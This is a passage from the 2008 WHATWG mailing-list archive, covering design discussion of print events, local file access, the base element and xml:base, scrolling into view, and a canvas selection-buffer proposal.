> > this: printed by [person] on [timestamp].
> > 
> > b) To capture the essence of the browsing session, I would like to 
> > build a breadcrumb at the bottom of the printed page, displaying 
> > titles and urls of pages the user have visited on the site during this 
> > visit.

This is now possible.


> I'll add another case: the onafterprint event could be used in a 
> "wizard"-style application where printing some document is step 3 of 10, 
> for example.  The application could proceed to the next step (not 
> necessarily a different document) automatically without requiring a 
> button that says "click here when done printing".  That's a case that a 
> media-specific stylesheet cannot handle.  Automating tasks and reducing 
> clicks are both high priorities in my development of web applications.

Good use case!


> If the ability to set printer settings such as portrait/landscape is 
> available, an "onbeforeprint" event could be used to prompt the user 
> whether they'd like to automatically switch their paper orientation to 
> portrait or landscape before printing.  (The same can be said for 
> margins and headers/footers.)  This can be done in the print dialog, but 
> if it is truly important to how the page prints, a separate step that 
> highlights the importance of the print setting to the user would be 
> helpful in reducing calls to my company's tech support line.

As specified, you could indeed use showModalDialog() for this.


[snip other use cases]

On Wed, 20 Jul 2005, Matthew Raymond wrote:
> 
>    Once again, I don't understand why you can't simply provide the user 
> with a button on the web page that either calls up a printable version 
> or clones the document so that the clone can be used for printing. 
> (Granted, there probably isn't support for the latter, but it makes more 
> sense to standardize that than to add onbeforeprint and onafterprint, 
> especially when you consider the fact that a clone of the document can 
> be held in memory for repeated printing or dumped.)

I don't see why we shouldn't have both; after all, people are using 
onbeforeprint today, and it doesn't seem to have caused a disaster or 
anything.


>    As far as I can tell, no part of WF2 or WA1 encourages malicious 
> behavior on the part of the webmaster against the users. In fact, part 
> of the problem I had with <dataentry> was that it could, in theory, be 
> use in a hostile way towards legacy user agents. Therefore, I doubt this 
> will ever make it into a WHATWG spec, especially when it can interfere 
> with simple things like printing selected text, et cetera.

This hasn't happened much, but certainly a user agent could disable 
scripts while it is printing.


>    Now you've completely lost me, use-case-wise. On an intranet, why is 
> a printable version of the document not an acceptable workaround?

Well it's not as nice, is it. I mean, it's not the same experience really. 
Look at printing in Google Maps, for instance, where it brings up another 
page -- it's not as seamless as just printing the current page.


>    Here's a question for you to chew on: What happens if you want to 
> print and the webmaster screwed up something in the onbeforeprint or 
> onafterprint event? Will it effectively disable printing? Will the 
> document be restored once printing is finished? What if it's an AJAX 
> application and the UI of the app is hidden for printing but never 
> restored?

This can all happen without printing too.


On Wed, 20 Jul 2005, Matthew Raymond wrote:
> 
>    I think there's good enough reason to disallow a feature when you 
> have the following:
> 
> 1) The feature can be abused.
> 
> 2) It alters the standard behavior of the browser.
> 
> 3) It can be easily disabled with a modified open source browser or 
> browser extension.

...or the browser can just allow it to be overriden. Point 3 basically 
counteracts the first two, imho.


> 4) Its use cases are partially covered by CSS.

CSS is just as susceptible to 1 and 2, why isn't that a problem?


> 5) There are existing workarounds.

Workarounds are just that. Not solutions.


> 6) An alternative has been proposed that has less potential for abuse, 
> is more powerful, and doesn't change basic browser functionality.

I don't see how it has less potential for abuse, really. I also am not 
sure it's really more powerful.


On Wed, 20 Jul 2005, Matthew Raymond wrote:
> 
> Since CSS is not required for HTML compliance, let's look at how a 
> non-CSS browser would be effected by onbeforeprint/onafterprint. Without 
> these events, the printout of the page would always match what you have 
> on screen (barring the user agent deliberately making it look 
> different).

JS is also optional, so this is equivalent.


> Therefore, while using this browser, if I see something that says the 
> following...
>
> | Matthew is a great guy.
> 
> ...and I print it, I would expect the printer to print out this:
> 
> | Matthew is a great guy.
> 
>    By contrast, I would not expect the printer to give me the following:
> 
> | Matthew is a complete luzor!!!
> 
>    That's what these events enable, and that's a fundamental alteration 
> of the expected behavior of a user agent's printing function.

CSS and JS both allow this. Both are optional.


>    So it's useless for keeping people from printing stuff without paying 
> if the people in question really want to print something.

We're not trying to address that use case.


On Wed, 20 Jul 2005, James Graham wrote:
>
> Just to muddy the waters a bit - it is quite likely that Gecko 1.9 will allow
> pages to be 'exported' to a variety of formats (in a manner analogous to
> http://gecko.dynalivery.com/ ). Clearly I have no idea what the UI for this
> functionality will be but lets pretend that it's not through the standard
> print dialog (this isn't strictly important). Should any function that
> transforms html -> non-html fire hypothetical onprint events?

As defined, no, it's just for getting a physical form or a representation 
of a physical form. What that means is someone a judgement call for the UA 
implementor, I guess.


On Wed, 20 Jul 2005, Dean Edwards wrote:
> 
> The big problem for me on this whole onbeforeprint/onafterprint argument 
> is that I only have partial control of the DOM using JavaScript.
> 
> What do I mean by this?
> 
> I can create content using the window's load event:
> 
> onload = function() {
>  // create content for screen
> }
> 
> This content, which is not suitable for print, needs to be removed when 
> the document is printed. I can even invoke the print method myself:
> 
> window.print();
> 
> I'm told I must use another language to remove the content. CSS you say. 
> Doesn't that seem wrong? Why can't I do it with script? I created the 
> content with script. Why can't I remove it the same way?

Both are now possible.


On Wed, 20 Jul 2005, Matthew Raymond wrote:
> 
>    The one I've been pushing for the last few days: allow scripting to 
> create a copy of the document, manipulate the copy, and print from the 
> copy. That way, the app will just have a button that says "Print High 
> Quality Version" or something, and a script clones the document, makes 
> the appropriate changes, and prints it. When you press the button again 
> (because you forgot you wanted two copies), the script can detect that 
> no changes have been made and simply use the last cloned document 
> object:
> 
> | if (documentchanged) {
> |   printClone = document.clone();
> |   prepareForPrinting(printClone);
> | }
> |
> | printClone.print();
> 
>    Hmm, that prints from the document object instead of the window, 
> though. Is there a better way to implement this?
> 
>    The general idea, though, is that when I print a web page, I want to 
> print a web page, not some altered version of the web page a webmaster 
> sees fit to allow me to print. Specific print version should be handled 
> by UI in the page itself. (Or perhaps with a <link> element.)

You can basically do this, just print an iframe or some such. The events 
don't preclude doing this.


On Wed, 20 Jul 2005, Dean Edwards wrote:
> 
> I quite like the idea of a DOMModified event. Does this exist? Can we 
> have it please?

Mutation events are out of scope for HTML5, but do handle this kind of 
thing. They need work, though.

-- 
Ian Hickson               U+1047E                )\._.,--....,'``.    fL
http://ln.hixie.ch/       U+263A                /,   _.. \   _\  ;`._ ,.
Things that are impossible just take longer.   `._.-(,_..'--(,_..'`-.;.'

From chaals at opera.com  Thu Jun  5 17:56:18 2008
From: chaals at opera.com (Charles McCathieNevile)
Date: Fri, 06 Jun 2008 02:56:18 +0200
Subject: [whatwg] access to local path in input type="file"
In-Reply-To: <008901c88ae6$3bf59300$6501a8c0@disxgdg31szkx7>
References: <200712110327.04645.rudd-o@rudd-o.com>
	<Pine.LNX.4.62.0712110919290.7107@hixie.dreamhostps.com>
	<005101c83bef$60584800$6501a8c0@disxgdg31szkx7>
	<008901c88ae6$3bf59300$6501a8c0@disxgdg31szkx7>
Message-ID: <op.ucax74e7wxe0ny@widsith.local>

On Thu, 20 Mar 2008 20:58:03 -0300, ddailey <ddailey at zoominternet.net>  
wrote:

> In the code which follows, both IE7, FF(2.0), and Safari(3.1) allow the  
> user to change the src attribute of an image based on her perusal of  
> local file space. Opera 9.5 doesn't seem to allow access to the path  
> data necessary for accomplishing this rollover effect, and I suspect  
> that may be how it is supposed to be according to emerging standards.
...

Hi David,

you might be interested in the fileIO proposal [1] from Opera in the  
WebAPI group at W3C, which is designed to allow for this kind of use case.

[1] http://dev.w3.org/2006/webapi/fileio/fileIO.htm

cheers

Chaals

-- 
Charles McCathieNevile  Opera Software, Standards Group
     je parle fran?ais -- hablo espa?ol -- jeg l?rer norsk
http://my.opera.com/chaals   Try Opera 9.5: http://snapshot.opera.com


From giecrilj at stegny.2a.pl  Fri Jun  6 00:26:28 2008
From: giecrilj at stegny.2a.pl (=?us-ascii?Q?Kristof_Zelechovski?=)
Date: Fri, 6 Jun 2008 09:26:28 +0200
Subject: [whatwg] several messages
In-Reply-To: <Pine.LNX.4.62.0806052348380.8559@hixie.dreamhostps.com>
References: <200509062037.j86Kbmil026603@recluse.mozilla.org>
	<Pine.LNX.4.62.0806052348380.8559@hixie.dreamhostps.com>
Message-ID: <51E441EB58F745CA83235802E9AC78D4@POCZTOWIEC>

The intended result of printing a document is that there is a printed copy
of a reasonable quality available.  The Web page can have no knowledge of
that fact (unless it has feedback from the surveillance network, that is).
Assuming that it is there after printing is wishful thinking.
Chris

-----Original Message-----
From: whatwg-bounces at lists.whatwg.org
[mailto:whatwg-bounces at lists.whatwg.org] On Behalf Of Ian Hickson
Sent: Friday, June 06, 2008 2:12 AM
To: whatwg at whatwg.org
Subject: Re: [whatwg] several messages

On Sun, 17 Jul 2005, Dean Edwards wrote:
>
> I'll add another case: the onafterprint event could be used in a 
> "wizard"-style application where printing some document is step 3 of 10, 
> for example.  The application could proceed to the next step (not 
> necessarily a different document) automatically without requiring a 
> button that says "click here when done printing".  That's a case that a 
> media-specific stylesheet cannot handle.  Automating tasks and reducing 
> clicks are both high priorities in my development of web applications.

Good use case!





From giecrilj at stegny.2a.pl  Fri Jun  6 01:47:58 2008
From: giecrilj at stegny.2a.pl (=?us-ascii?Q?Kristof_Zelechovski?=)
Date: Fri, 6 Jun 2008 10:47:58 +0200
Subject: [whatwg] HTML5 Feedback: Section 3.5.3 Scrolling elements into
	view
In-Reply-To: <57221E38FB4DD54C946CE654959A554D05DCFB6C6E@GVW0436EXB.americas.hpqcorp.net>
References: <1959130b0710082211m7a3fff53v9d6601fd2a81a193@mail.gmail.com><Pine.LNX.4.62.0806031126170.8559@hixie.dreamhostps.com>
	<57221E38FB4DD54C946CE654959A554D05DCFB6C6E@GVW0436EXB.americas.hpqcorp.net>
Message-ID: <158A59CC57E9459EB4ADC12C53183158@POCZTOWIEC>

If the part of the document following the bookmark is too short for the
containing view port, revealing the bookmark should be equivalent to
scrolling to the end of the containing page.
HTH,
Chris

-----Original Message-----
From: whatwg-bounces at lists.whatwg.org
[mailto:whatwg-bounces at lists.whatwg.org] On Behalf Of Bonner, Matt (IPG)
Sent: Thursday, June 05, 2008 8:59 PM
To: Ian Hickson; Brad Fults
Cc: WHAT-WG
Subject: Re: [whatwg] HTML5 Feedback: Section 3.5.3 Scrolling elements into
view

Ian Hickson wrote:

> On Mon, 8 Oct 2007, Brad Fults wrote:
> >
> >   2. It may not be possible to align the top of the element 
> >      with the top of the viewport without scrolling past the 
> >      bottom of the document, so the "must" is unreasonable. 
> >      This contingency should be mentioned (scrolling past the
> >      bottom of the document is not, as far as I know, desired).
> 
> I don't understand what you mean. How can something in the document be
> further down than the bottom of the document?

I'm wondering if he was thinking about cases where the element is
shorter vertically than the viewport?  It might be worth clarifying
what happens in that case.  I assume the answer is "nothing"?

 



From matt.bonner at hp.com  Fri Jun  6 10:02:03 2008
From: matt.bonner at hp.com (Bonner, Matt (IPG))
Date: Fri, 6 Jun 2008 17:02:03 +0000
Subject: [whatwg] HTML5 Feedback: Section 3.5.3 Scrolling elements into
 view
In-Reply-To: <158A59CC57E9459EB4ADC12C53183158@POCZTOWIEC>
References: <1959130b0710082211m7a3fff53v9d6601fd2a81a193@mail.gmail.com><Pine.LNX.4.62.0806031126170.8559@hixie.dreamhostps.com>
	<57221E38FB4DD54C946CE654959A554D05DCFB6C6E@GVW0436EXB.americas.hpqcorp.net>
	<158A59CC57E9459EB4ADC12C53183158@POCZTOWIEC>
Message-ID: <57221E38FB4DD54C946CE654959A554D05DCFB70E8@GVW0436EXB.americas.hpqcorp.net>

> If the part of the document following the bookmark is too short for 
> the containing view port, revealing the bookmark should be equivalent 
> to scrolling to the end of the containing page.

Right, good point. 3.5.3 currently doesn't differentiate between
partial-page content following a bookmark, and whole-page content.
It appears that it needs to do so.

I was thinking of the case where the whole document is shorter
than the viewport. It would seem worth spelling out the behavior
for both vertical cases. And then consider a bit more detail for
the horizontal case as well.

regards,
Matt
--
Matt Bonner
Hewlett-Packard Company
 

> -----Original Message-----
> From: Kristof Zelechovski [mailto:giecrilj at stegny.2a.pl] 
> Sent: Friday, June 06, 2008 1:48 AM
> To: Bonner, Matt (IPG); 'Ian Hickson'; 'Brad Fults'
> Cc: 'WHAT-WG'
> Subject: RE: [whatwg] HTML5 Feedback: Section 3.5.3 Scrolling 
> elements into view
> 
> If the part of the document following the bookmark is too 
> short for the
> containing view port, revealing the bookmark should be equivalent to
> scrolling to the end of the containing page.
> HTH,
> Chris
> 
> -----Original Message-----
> From: whatwg-bounces at lists.whatwg.org
> [mailto:whatwg-bounces at lists.whatwg.org] On Behalf Of Bonner, 
> Matt (IPG)
> Sent: Thursday, June 05, 2008 8:59 PM
> To: Ian Hickson; Brad Fults
> Cc: WHAT-WG
> Subject: Re: [whatwg] HTML5 Feedback: Section 3.5.3 Scrolling 
> elements into
> view
> 
> Ian Hickson wrote:
> 
> > On Mon, 8 Oct 2007, Brad Fults wrote:
> > >
> > >   2. It may not be possible to align the top of the element
> > >      with the top of the viewport without scrolling past the
> > >      bottom of the document, so the "must" is unreasonable.
> > >      This contingency should be mentioned (scrolling past the
> > >      bottom of the document is not, as far as I know, desired).
> >
> > I don't understand what you mean. How can something in the 
> document be
> > further down than the bottom of the document?
> 
> I'm wondering if he was thinking about cases where the element is
> shorter vertically than the viewport?  It might be worth clarifying
> what happens in that case.  I assume the answer is "nothing"?
> 
> 
> 
> 
-------------- next part --------------
A non-text attachment was scrubbed...
Name: smime.p7s
Type: application/x-pkcs7-signature
Size: 4798 bytes
Desc: not available
URL: <http://lists.whatwg.org/pipermail/whatwg-whatwg.org/attachments/20080606/15ff400b/attachment.bin>

From ian at hixie.ch  Fri Jun  6 12:01:43 2008
From: ian at hixie.ch (Ian Hickson)
Date: Fri, 6 Jun 2008 19:01:43 +0000 (UTC)
Subject: [whatwg] Issues concerning the <base> element and xml:base
In-Reply-To: <op.t7eshxhd64w2qv@annevk-t60.oslo.opera.com>
References: <4637D68D.6000300@sicking.cc>
	<Pine.LNX.4.62.0705172313280.1180@dhalsim.dreamhost.com>
	<465E0C79.7030608@sicking.cc>
	<Pine.LNX.4.64.0708070248560.9753@dhalsim.dreamhost.com>
	<46C122D8.4000000@sicking.cc>
	<Pine.LNX.4.62.0802130101260.20115@hixie.dreamhostps.com>
	<47C94C35.1000409@sicking.cc>
	<AEDA4554-6737-40C2-88DD-7E932F52AE5B@apple.com>
	<20080302021821.GB22099@ridley.dbaron.org>
	<3A96FD87-E0F8-48EA-8BA3-B7A5B96ED848@apple.com>
	<20080302063125.GA11915@ridley.dbaron.org>
	<4C40D961-FED9-47A5-9833-96E685609CCA@apple.com>
	<op.t7eshxhd64w2qv@annevk-t60.oslo.opera.com>
Message-ID: <Pine.LNX.4.62.0806060028380.8559@hixie.dreamhostps.com>


Implementors, please see the question at the bottom.

On Sun, 24 Jul 2005, fantasai wrote:
>
> The xml:base attribute, unlike the xml:lang attribute, is not listed as 
> a common attribute. It's also not listed as an element-specific 
> attribute on any element. However, the prose says to use xml:base 
> instead of <base> in XML documents. Could you specify more clearly where 
> the xml:base attribute is allowed in xHTML 5?

Done.


On Sat, 3 Sep 2005, fantasai wrote:
>
> # The href content attribute, if specified, must contain a URI (or IRI).
> 
> Can the href attribute be empty?

This will be defined when I define "URI" more carefully (the answer is 
yes, as the empty string is a valid URI reference, as I understand it).


> # User agents must use the value of the href attribute on the first base
> # element in the document as the document entity's base URI
> 
> Current behavior is to use the nearest previous <base> element, be it 
> prior sibling or cousin, and this is interoperably implemented in 
> Mozilla and Opera. I think requiring that the first <base> apply to 
> previous as well as following elements is a good idea for <head>, but 
> you may need to investigate whether it is practical for <base> in 
> <body>.

IE7 does it. I recall doing a study on whether it was a big problem, and 
it seemed like while there were pages that relied on the multi-base 
support, there were also many pages that broke because of it. Mozilla goes 
through some weird contortions to support it. If we can get away with not 
doing it, I think it's worth it.


> # In a head element, before any elements that use relative URIs, and
> # only if there are no other base elements anywhere in the document.
> 
> It would be simpler to just require <base> to be before any elements 
> that use URIs period. It's easier to express, and there are no 
> invalidation surprises if one changes an absolute URI to a relative one 
> later on.

It seems we changed to this at some point already.


On Mon, 13 Mar 2006, Henri Sivonen wrote:
> 
> I just realized that if the base element has attributes other than href, 
> for example id or class, there is no way to serialize those attributes 
> in conforming XHTML5. I suggest banning attributes other than href on 
> base, so that conforming HTML5 documents can be serialized as conforming 
> XHTML5 documents without data loss. This would be consistent with the 
> prohibition of extra attributes on the charset meta.

I think that would be a confusing requirement. As far as I can tell the 
requirement you mention on meta charset is gone now.


On Sat, 1 Mar 2008, Jonas Sicking wrote:
> > 
> > I'm not sure what to do here. It seems like UAs should support a 
> > notification mechanism so that when a base URI is changed, all URIs in 
> > the document (for <base>) or in that subtree (for xml:base) get 
> > reresolved. That actually seems relatively simple and has little (no) 
> > overhead in the common case of nothing being changed.
> 
> Personally it's something I would be very reluctant to do. It would add 
> a whole lot of code for basically no benefit for web developers. I have 
> never heard of anyone that actually desired changing the base uri for 
> all or parts of a page dynamically.

I agree that it's a pretty dumb thing to do.


> There would definitely be overhead unfortunately. First of all in lots 
> of code added to every place that resolves URIs in order to set up 
> appropriate listeners to the notification, and managing the lifetime of 
> those listeners. Second there would be memory overhead in keeping around 
> lists of who listens to what subtrees.

There's no need to keep track of that, the listeners are just all the 
descendants. Just walk the tree notifying everyone.


> My guess is that supporting dynamic modifications would be one of those 
> features that someone would file a bug on early on during testing of a 
> UA implementation, and then nobody would care about a very long time, 
> including both web developers and UA developers. Especially given that 
> the feature would be missing from all other UAs.
> 
> But yeah, I have no real good solution either. We could either say that 
> uris MAY not be immediately updated in the face of dynamic 
> modifications. Which would probably suffer from some amout of 
> implementation differences. Or we could say MUST be immediately updated 
> and probably still suffer from implemenation differences due to lack of 
> implementation.

What we need, therefore, is a solution that everyone can agree on and can 
agree is implementable in a timely fashion, which still gives us 
interoperable behaviour. I'm not sure what that could be.



On Sat, 1 Mar 2008, Anne van Kesteren wrote:
> 
> Note that the new base URI would only take effect once you actually did 
> something with a potentially affected object. For instance, <img> would 
> not start loading a new image if the base URI changes. <img>.src = 
> <img>.getAttribute("src") could start loading a new resource however if 
> the base URI changed since the initial load.

Well, we'd have to define that either way.


On Sat, 1 Mar 2008, Jonas Sicking wrote:
> 
> Well, that was my intention with the initial proposal. But Hixie pointed 
> out that "did something" is a very hard thing to define. For example on 
> a <a href="...">, does the user hovering the node count? Does resizing 
> the window count? Does removing the node from the DOM and reinserting it 
> count?

Indeed.


On Sat, 1 Mar 2008, Maciej Stachowiak wrote:
> 
> I'd propose that resolution is always done against the base in effect at 
> the time the URI is resolved. So changing the base would never trigger a 
> reload short of another action.

Then we need to define "resolve".


> > For example on a <a href="...">, does the user hovering the node 
> > count?
> 
> If you display an absolute URI to the user at this time it should get 
> resolved against the current base, but since this is not a load, it 
> should get resolved again when the user clicks the link, if the base 
> changed.

What if the URL changes as you're hovering? Does the URL get resolved at 
50Hz, or does it get resolved when it is first displayed?

Same with :link vs :visited -- when do you redecide what the URL is for 
the purposes of styling? There's no clearly defined or definable time that 
this happens, as far as I can tell.


On Sat, 1 Mar 2008, L. David Baron wrote:
> 
> That means you'd need to define when every URI is resolved and how long 
> that result is cached.  That seems like a substantial amount of 
> specification and testing work.  It might interfere with lazy evaluation 
> as a performance optimization, although I suspect that's not an issue 
> for the main case since we already have to resolve all anchors in order 
> to do visited-link coloring.
> 
> It also breaks some invariants that are nice to maintain, like that 
> removing and reinserting content from a document should produce the same 
> result.  (I think this one may actually be important in practice since 
> authors sometimes use removal/reinsertion to work around bugs handling 
> dynamic changes.  Although we probably already break it in a bunch of 
> ways as well.)

I agree with these points.


On Sat, 1 Mar 2008, Maciej Stachowiak wrote:
> 
> How about requiring that the base used is the one in effect when a given 
> relative URI is resolved, and define that URIs for resource-loading 
> elements are resolved at the time the relevant attribute is set or 
> parsed (but for hyperlinks, at the time it is dereferenced). That is 
> easy to implement, interoperable, and reasonably predictable. It makes 
> sense that changing <base> would affect future loads but not trigger 
> reloads of already loaded or already in progress resources.

This seems like it would have more overhead than just notifying everyone 
in the subtree.


On Sat, 1 Mar 2008, Jonas Sicking wrote:
> 
> I very much agree it's an edge case and would be fine with leaving it 
> undefined.

Well, right now it's implicitly defined that changing the base changes 
anything refering to that base instantly. I'm not really sure how to 
unspecify that without adding a really weird clause like "in the event 
that the attribute is changed, user agents may, whenever convenient, 
pretend, for the sake of url resolution, that it has not changed".


I have made notes in the spec that this is an area that needs defining. 
Right now I'm leaning towards defining a "base href change notification 
behaviour" for all elements that have URI attributes or are otherwise 
sensitive to base href changes, and defining that when the base href 
changes, all the elements in the document with such behaviour defined 
should have that behaviour activated (this would, in the simple case, just 
be a walk over the document with a virtual method call per element; it 
might be a bit slow for some documents, but then this is a very rare 
occurance anyway). We would also invoke this behaviour on the entire 
subtree of an element whenever that element is inserted into a different 
document, in case it matters in any cases.

In practice I think this only actually affects :link/:visited and url() 
rules in style="" attributes. I plan on making <img>/<iframe>/<link 
rel=stylesheet> etc not reload their content if the base href changes 
(though that does mean that .src and .href will end up pointing to URIs 
that aren't actually what was loaded). I can't think of any other cases 
that are sensitive off the top of my head, but I'll be thorough if I do 
end up specifying this.

The question is, are people ok with that plan?

-- 
Ian Hickson               U+1047E                )\._.,--....,'``.    fL
http://ln.hixie.ch/       U+263A                /,   _.. \   _\  ;`._ ,.
Things that are impossible just take longer.   `._.-(,_..'--(,_..'`-.;.'


From Smylers at stripey.com  Sat Jun  7 04:55:11 2008
From: Smylers at stripey.com (Smylers)
Date: Sat, 7 Jun 2008 12:55:11 +0100
Subject: [whatwg] Issues concerning the <base> element and xml:base
In-Reply-To: <Pine.LNX.4.62.0806060028380.8559@hixie.dreamhostps.com>
References: <46C122D8.4000000@sicking.cc>
	<Pine.LNX.4.62.0802130101260.20115@hixie.dreamhostps.com>
	<47C94C35.1000409@sicking.cc>
	<AEDA4554-6737-40C2-88DD-7E932F52AE5B@apple.com>
	<20080302021821.GB22099@ridley.dbaron.org>
	<3A96FD87-E0F8-48EA-8BA3-B7A5B96ED848@apple.com>
	<20080302063125.GA11915@ridley.dbaron.org>
	<4C40D961-FED9-47A5-9833-96E685609CCA@apple.com>
	<op.t7eshxhd64w2qv@annevk-t60.oslo.opera.com>
	<Pine.LNX.4.62.0806060028380.8559@hixie.dreamhostps.com>
Message-ID: <20080607115511.GG9970@stripey.com>

Ian Hickson writes:

> On Sat, 1 Mar 2008, Jonas Sicking wrote:
> 
> > > It seems like UAs should support a notification mechanism so that
> > > when a base URI is changed, all URIs in the document ...  or in
> > > that subtree ... get reresolved.
> > 
> > I have never heard of anyone that actually desired changing the base
> > uri for all or parts of a page dynamically.
> 
> I agree that it's a pretty dumb thing to do.

So it sounds like supporting it isn't necessary, and putting effort into
supporting it is a distraction.

> I'm not really sure how to unspecify that without adding a really
> weird clause like "in the event that the attribute is changed, user
> agents may, whenever convenient, pretend, for the sake of url
> resolution, that it has not changed".

Why is that weird?  Even if it is, why is being weird worse than
creating an implementation burden of something which nobody will use
(except by accident)?

Smylers


From giecrilj at stegny.2a.pl  Sat Jun  7 06:18:04 2008
From: giecrilj at stegny.2a.pl (=?iso-8859-1?Q?Kristof_Zelechovski?=)
Date: Sat, 7 Jun 2008 15:18:04 +0200
Subject: [whatwg] Issues concerning the <base> element and xml:base
In-Reply-To: <Pine.LNX.4.62.0806060028380.8559@hixie.dreamhostps.com>
References: <4637D68D.6000300@sicking.cc><Pine.LNX.4.62.0705172313280.1180@dhalsim.dreamhost.com><465E0C79.7030608@sicking.cc><Pine.LNX.4.64.0708070248560.9753@dhalsim.dreamhost.com><46C122D8.4000000@sicking.cc><Pine.LNX.4.62.0802130101260.20115@hixie.dreamhostps.com><47C94C35.1000409@sicking.cc><AEDA4554-6737-40C2-88DD-7E932F52AE5B@apple.com><20080302021821.GB22099@ridley.dbaron.org><3A96FD87-E0F8-48EA-8BA3-B7A5B96ED848@apple.com><20080302063125.GA11915@ridley.dbaron.org><4C40D961-FED9-47A5-9833-96E685609CCA@apple.com><op.t7eshxhd64w2qv@annevk-t60.oslo.opera.com>
	<Pine.LNX.4.62.0806060028380.8559@hixie.dreamhostps.com>
Message-ID: <356EA9AD9750495FB3BB33B90D23C6EB@POCZTOWIEC>

RFC?1808 defines how to resolve a relative URI, doesn?t it?.
The need to notify elements that have URI attributes is much better
expressed as the need to notify those attributes themselves.  However, this
would require each attribute to be an object type, ? la XML DOM.  For
completeness, attributes defined to contain an URI could expose a method
"resolve" to return the resolved URI if appropriate and handle an event
"onbasechange".
(All this probably is science fiction, do not assign much weight to these
musings).
Chris

-----Original Message-----
From: whatwg-bounces at lists.whatwg.org
[mailto:whatwg-bounces at lists.whatwg.org] On Behalf Of Ian Hickson
Sent: Friday, June 06, 2008 9:02 PM
To: whatwg at whatwg.org
Subject: [whatwg] Issues concerning the <base> element and xml:base


On Sat, 1 Mar 2008, Maciej Stachowiak wrote:
> 
> I'd propose that resolution is always done against the base in effect at 
> the time the URI is resolved. So changing the base would never trigger a 
> reload short of another action.

Then we need to define "resolve".

[snip]

I have made notes in the spec that this is an area that needs defining. 
Right now I'm leaning towards defining a "base href change notification 
behaviour" for all elements that have URI attributes or are otherwise 
sensitive to base href changes, and defining that when the base href 
changes, all the elements in the document with such behaviour defined 
should have that behaviour activated (this would, in the simple case, just 
be a walk over the document with a virtual method call per element; it 
might be a bit slow for some documents, but then this is a very rare 
occurance anyway). We would also invoke this behaviour on the entire 
subtree of an element whenever that element is inserted into a different 
document, in case it matters in any cases.





From annevk at opera.com  Sat Jun  7 07:09:57 2008
From: annevk at opera.com (Anne van Kesteren)
Date: Sat, 07 Jun 2008 16:09:57 +0200
Subject: [whatwg] Issues concerning the <base> element and xml:base
In-Reply-To: <20080607115511.GG9970@stripey.com>
References: <46C122D8.4000000@sicking.cc>
	<Pine.LNX.4.62.0802130101260.20115@hixie.dreamhostps.com>
	<47C94C35.1000409@sicking.cc>
	<AEDA4554-6737-40C2-88DD-7E932F52AE5B@apple.com>
	<20080302021821.GB22099@ridley.dbaron.org>
	<3A96FD87-E0F8-48EA-8BA3-B7A5B96ED848@apple.com>
	<20080302063125.GA11915@ridley.dbaron.org>
	<4C40D961-FED9-47A5-9833-96E685609CCA@apple.com>
	<op.t7eshxhd64w2qv@annevk-t60.oslo.opera.com>
	<Pine.LNX.4.62.0806060028380.8559@hixie.dreamhostps.com>
	<20080607115511.GG9970@stripey.com>
Message-ID: <op.ucdtmvbs64w2qv@annevk-t60.oslo.opera.com>

On Sat, 07 Jun 2008 13:55:11 +0200, Smylers <Smylers at stripey.com> wrote:
> So it sounds like supporting it isn't necessary, and putting effort into
> supporting it is a distraction.

Well, we want to prevent that at some point an important site will start  
relying on the specifics of xml:base handling in a particular browser  
while we can still make the handling something sane we can all agree on.


-- 
Anne van Kesteren
<http://annevankesteren.nl/>
<http://www.opera.com/>


From ondra at dynawest.cz  Sat Jun  7 08:36:18 2008
From: ondra at dynawest.cz (=?iso-8859-2?B?T25k+GVqIK5pvmth?=)
Date: Sat, 7 Jun 2008 17:36:18 +0200
Subject: [whatwg] '' <canvas> element "selection buffer"
Message-ID: <002901c8c8b4$3de315a0$43cee593@d020330a>

Hi,

I've been looking for something similar to OpenGL's selection buffer - that is, you can get some object ID for the given coordinates.

E.g.,  Jacob Seidelin's chess game http://blog.nihilogic.dk/search/label/chess could use it, but instead, keyboard control had to be used.

isPointInPath() does not solve the problem effectively if the path would be too complex - e.g. pixel-based sprites in several layers.

For an example of what I want to implement, see e.g.
http://www.openttd.org/screens.php?image=images/screens/0.5.0/japan_national_railway_3_aug_1984 .
Mathematical computation of the object is principially impossible (or too complex in best case).


So, my suggestion is to add functionality similar to OpenGL's selection buffer:
The canvas element would keep a 2D array with an integer ID for each pixel. When turned on, these values would be set by every operation that changes the pixel, seting it to the current context's value. Pseudo-code example:

------------
function DrawCell( iCellId ){

  canvas.selectionBuffer.trackChanges( ON );
  canvas.selectionBuffer.setFillValue( iCellId );

  canvas.drawRasterImage( ..., cellImage );

  canvas.selectionBuffer.trackChanges( OFF );

}
------------

Then, upon user's mouse click on the canvas, you could determine which object was clicked:

------------
canvas.onclick = function( e ){
  id = canvas.selectionBuffer.getIdAt( e.x, e.y );
  // eventually:
  id = e.selectionBufferID;
}
------------

Such feature would allow interactive application with isometric or 3D graphic.
Is something like this planned or already suggested? I haven't found.

Regards,
Ondra Zizka


From nigel.tao.gnome at gmail.com  Sun Jun  8 04:50:11 2008
From: nigel.tao.gnome at gmail.com (Nigel Tao)
Date: Sun, 8 Jun 2008 21:50:11 +1000
Subject: [whatwg] access to local path in input type="file"
In-Reply-To: <005401c88c1e$e5f69870$6501a8c0@disxgdg31szkx7>
References: <200712110327.04645.rudd-o@rudd-o.com>
	<Pine.LNX.4.62.0712110919290.7107@hixie.dreamhostps.com>
	<005101c83bef$60584800$6501a8c0@disxgdg31szkx7>
	<008901c88ae6$3bf59300$6501a8c0@disxgdg31szkx7>
	<26b395e60803210751j204528c5gadb38cf872b0de71@mail.gmail.com>
	<005401c88c1e$e5f69870$6501a8c0@disxgdg31szkx7>
Message-ID: <9188fcea0806080450y44849b37k8a56a418026aa07b@mail.gmail.com>

On 23/03/2008, ddailey <ddailey at zoominternet.net> wrote:
>  Perhaps we need a new <img type="local-file"> to cover the use cases??? What
>  I'm ultimately interested in is not really the sort of thing one would
>  expect to use <form>s for -- neither is doing content analysis inside a
>  <textarea> however. Those just happen to be the tools that <html> provides.
>
>  I know that under discussion in HTML5 is some amount of ability to read and
>  write files locally. Would script access to local images be included in that
>  capability?

Gears has some experimental code to load local images.  Experimental
meaning that the API is still in flux, documentation is non-existant,
and it's not bundled as part of official builds yet, but if you check
out the latest version of the source code, you can play with it.

Dion Almaer has blogged about upcoming Gears APIs at
http://almaer.com/blog/category/gears


From mjs at apple.com  Sun Jun  8 19:10:32 2008
From: mjs at apple.com (Maciej Stachowiak)
Date: Sun, 8 Jun 2008 19:10:32 -0700
Subject: [whatwg] Issues concerning the <base> element and xml:base
In-Reply-To: <Pine.LNX.4.62.0806060028380.8559@hixie.dreamhostps.com>
References: <4637D68D.6000300@sicking.cc>
